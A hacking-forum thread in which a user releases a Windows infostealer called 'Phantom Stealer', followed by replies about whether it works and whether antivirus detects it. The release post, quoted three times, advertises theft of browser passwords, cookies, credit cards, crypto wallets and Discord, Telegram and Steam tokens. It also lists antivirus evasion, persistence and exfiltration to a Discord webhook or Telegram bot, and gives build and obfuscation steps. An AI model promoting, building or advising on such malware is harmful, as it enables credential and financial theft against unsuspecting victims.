

Forum: [Hack Forums](#)

Thread: [\[RELEASE\] Phantom Stealer - Open Source Golang Infostealer \(Browser/Crypto/Discord\)](#)

1rhino2 - December 9, 2025, 1:50 am

PHANTOM STEALER

Open Source Golang Infostealer - Full Source Code

What is this?

Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.

Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more

- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets

- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber

- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info

- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion

- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)

- Registry
- Startup folder

- Scheduled task
- WMI subscription

Exfil

- Discord webhook
- Telegram bot
- Zipped and organized

Setup:

1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook

Download:

github.com/1rhino2/phantom-stealer

Scans:

Clean build: ~5-10/70 on VT (expected for any stealer)

With garble: lower detection

Credits:

Solo project, built from scratch. No copy paste.

Note:

For educational purposes. Don't be stupid with it.

Questions? Reply below or check the GitHub issues.

gerg61 - December 9, 2025, 9:58 am

works with latest chrome ver?

1rhino2 - December 9, 2025, 12:34 pm

(Dec 9, 2025 10:58 AM)gerg61 Wrote: [\[CITE\]](#) works with latest chrome ver?

Indeed.

i am - December 10, 2025, 5:28 am

Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.

Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.

sp3cifier - December 11, 2025, 1:26 am

i will test it out

1rhino2 - December 11, 2025, 4:04 am

(Dec 10, 2025 06:28 AM)i am Wrote: [\[CITE\]](#) Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.

Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.

Sorry to hear, i'll work on fixing that. I haven't worked much with browsers so its my first time, I did some backup research, thought it would work.

randomssa - December 11, 2025, 4:42 am

Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms

1rhino2 - December 11, 2025, 5:29 am

(Dec 9, 2025 02:50 AM)1rhino2 Wrote: [\[CITE\]](#) PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code

What is this?

Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.

Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more

- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets

- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber

- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info

- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion

- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)

- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil

- Discord webhook
- Telegram bot
- Zipped and organized

Setup:

1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook

Download:

github.com/1rhino2/phantom-stealer

Scans:

Clean build: ~5-10/70 on VT (expected for any stealer)

With garble: lower detection

Credits:

Solo project, built from scratch. No copy paste.

Note:

For educational purposes. Don't be stupid with it.

Questions? Reply below or check the GitHub issues.

Fixing the issue

wiener222213 - December 12, 2025, 1:54 am

Ai Generated

ByteDoktor - December 12, 2025, 7:43 am

(Dec 12, 2025 02:54 AM)wiener222213 Wrote: [\[CITE\]](#) Ai Generated

The code does appear to be that with the amount of comments but i could be wrong and it's still a good educational tool.

SIM-5420628 - December 23, 2025, 7:53 am

(Dec 11, 2025 05:42 AM)randomssa Wrote: [\[CITE\]](#) Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms

I mean you shouldnt expect a free stealer to be ud

kingCode - December 24, 2025, 4:12 am

Very Nice

sigmaboss2 - January 5, 2026, 4:51 am

hello your miner very bad work, users not found in pool. 500 hashrate for 10 computer xd

SIM-5730195 - January 7, 2026, 4:52 am

this does NOT work on the latest chrome version

ShellPower - January 14, 2026, 1:54 pm

(Dec 9, 2025 01:34 PM)1rhino2 Wrote: [\[CITE\]](#) Indeed.

Have you managed to try it out yet?

would like to hear some objective opinion

Phantxm - February 4, 2026, 11:04 am

is it still working?

Saterax - February 11, 2026, 2:45 pm

Would like for the OP to message me as I am wondering a few things. Appears they haven't been on in a while unfortunately.

Somebody else might even be able to answer? I am wanting to use this and separately install it inside a fresh VM as if I was screwing around and clicked on "free robux" type deal and downloaded something dumb. How does this come into play, along with similar stealers? What is the part that essentially changes you from being the person who initialized it, to the person who is having their data scraped?

pieterpanisgood - March 5, 2026, 3:07 pm

lets go man

mad_hatter_hack - April 2, 2026, 2:39 pm

(Dec 9, 2025 02:50 AM)1rhino2 Wrote: [\[CITE\]](#) PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code

What is this?

Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.

Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more

- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets

- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber

- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info

- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs

- Installed software
- Running processes

Evasion

- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)

- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil

- Discord webhook
- Telegram bot
- Zipped and organized

Setup:

1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook

Download:

github.com/1rhino2/phantom-stealer

Scans:

Clean build: ~5-10/70 on VT (expected for any stealer)

With garble: lower detection

Credits:

Solo project, built from scratch. No copy paste.

Note:

For educational purposes. Don't be stupid with it.

Questions? Reply below or check the GitHub issues.

I will test it out! nice brother!

ShadowCC - April 3, 2026, 4:14 am

I'll test it out

metroswat - May 29, 2026, 3:27 am

plus the repo doesnt even exist anymore lmao

johnboss12 - July 6, 2026, 3:32 am

where can i buy from ?

zahalka - July 8, 2026, 4:28 pm

thanksss

1rhino2 - *August 7, 2026, 9:11 am*

Edit on this, I havent been on in awhile and I've discontinued work on the project.

waffess33 - *September 5, 2026, 2:33 am*

the link its not working '404' on the page

rezaguix - *September 21, 2026, 6:37 pm*

not working '404'

rembrandt63 - *October 17, 2026, 6:08 pm*

thanks buddy